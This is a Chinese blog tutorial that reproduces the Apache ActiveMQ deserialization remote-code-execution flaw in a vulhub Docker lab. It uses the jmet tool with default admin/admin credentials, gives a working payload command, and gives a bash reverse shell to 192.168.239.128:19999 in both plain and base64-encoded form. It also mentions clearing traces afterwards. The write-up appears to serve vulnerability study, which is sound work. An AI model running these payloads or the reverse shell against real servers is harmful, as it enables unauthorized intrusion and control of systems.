一、漏洞详情
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。配置Apache ActiveMQ需要提前有jdk的环境。
基于MQTT,消息订阅和分发的模式。ActiveMQ就相当于一个云控制台,可以看见消息的发布和接收队列。
发送消息后查看队列:
![](https://i-blog.csdnimg.cn/blog_migrate/a0a9e0175f29646971b026ae89accfce.png)
接收消息后查看队列:
![](https://i-blog.csdnimg.cn/blog_migrate/6177d5e9871def67c93aaa0536d04fc6.png)
影响版本 Apache ActiveMQ < 5.13.0
该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
反序列化漏洞利用过程如下:
构造可执行命令的序列化对象
作为一个消息,发送给目标的61616端口
访问Web管理界面,读取消息触发漏洞
二、复现过程
vulhub搭建环境
进入对应文件夹启动环境
docker-compose up -d
查看一下环境信息
docker-compose ps
![](https://i-blog.csdnimg.cn/blog_migrate/03111e2ff35f7c61a50b2831a3ec9a9b.png)
activeMQ默认配置下启动会启动8161和61616两个端口,其中8161是mq自带的管理后台的端口,61616是mq服务默认端口。我们访问的时候访问8161端口。
也可以用nmap对目标IP的端口进行扫描
![](https://i-blog.csdnimg.cn/blog_migrate/7dccd4373491df8ae2db23f9e1ef9ae4.png)
访问该端口
![](https://i-blog.csdnimg.cn/blog_migrate/7403e3ef11ef373dbce3533954056815.png)
默认账户密码admin/admin 登录
![](https://i-blog.csdnimg.cn/blog_migrate/7119fdc1865165462c3be5c56bbedb88.png)
可以看到版本的相关信息
![](https://i-blog.csdnimg.cn/blog_migrate/c6b04fcda6bbc02ae40bff84459a3acb.png)
利用jmet构造可执行的序列化对象
(原理:使用集成的ysoserial生成payload并发送)
#下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
![](https://i-blog.csdnimg.cn/blog_migrate/6acc4d4a12097d95892c5f4bbf80ac15.png)
执行命令(在jmet-0.1.0-all.jar的保存目录下)
java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 127.0.0.1(你的目标机的ip) 61616
![](https://i-blog.csdnimg.cn/blog_migrate/6e8b2afdfad660460fca2e06cf941918.png)
这边报错了,在该目录下创建文件夹
mkdir external
再执行一次上面的命令
目的是在目标服务器中/tmp目录创建一个文件success
可以看到Active MQ已经收到了消息队列
![](https://i-blog.csdnimg.cn/blog_migrate/ecf6ba7ebad2be7126fe3a3cacd68d63.png)
点击ID触发命令执行(因为我们之前已经用admin/admin登录了,有管理员权限,如果没有管理员权限的话,我们只能等待管理员点击消息队列的ID来触发命令执行漏洞)
![](https://i-blog.csdnimg.cn/blog_migrate/84b86e1a9175d3ec11d8fa74f00efc2d.png)
进入容器查看漏洞利用结果
docker ps
docker exec -it bae4bc8546b7 /bin/bash
![](https://i-blog.csdnimg.cn/blog_migrate/dd137b046888c529fc496bafa79345f5.png)
cd /root/
cd /tmp
ls -l
![](https://i-blog.csdnimg.cn/blog_migrate/4eac5354ea2dcf5334a0fae06822b52b.png)
可以看到success文件成功创建,也就是我们的远程命令已经被执行了
反弹shell的利用
同理讲上面的远程命令那部分替换为反弹shell的命令即可
开启监听,端口为19999
![](https://i-blog.csdnimg.cn/blog_migrate/cb3f1f0c9605786ddb1654f7994c2ee6.png)
127.0.0.1不能反弹shell,所以下面的IP换了下
#bash反弹命令
bash -i >& /dev/tcp/192.168.239.128/19999 0>&1
需要利用base64进行编码绕过
![](https://i-blog.csdnimg.cn/blog_migrate/f1f9cd7896b7a41493ec5501c1456eac.png)
执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvMTk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 127.0.0.1 61616
![](https://i-blog.csdnimg.cn/blog_migrate/03f80a412e372f8e822bbc19911a6730.png)
找到相应ID消息队列,触发命令执行
![](https://i-blog.csdnimg.cn/blog_migrate/7334ccb1f797ca13c084619a7f42f758.png)
监听成功
![](https://i-blog.csdnimg.cn/blog_migrate/f749003370f22da8a41847e03a414532.png)
三、总结
既然可以远程命令执行,那可利用的点岂不是茫茫多.
顺便在反弹shell之后学习了一下如何清除痕迹
推荐大佬的文章,里面写的很详细
https://blog.csdn.net/weixin_43847838/article/details/129058192?spm=1001.2014.3001.5501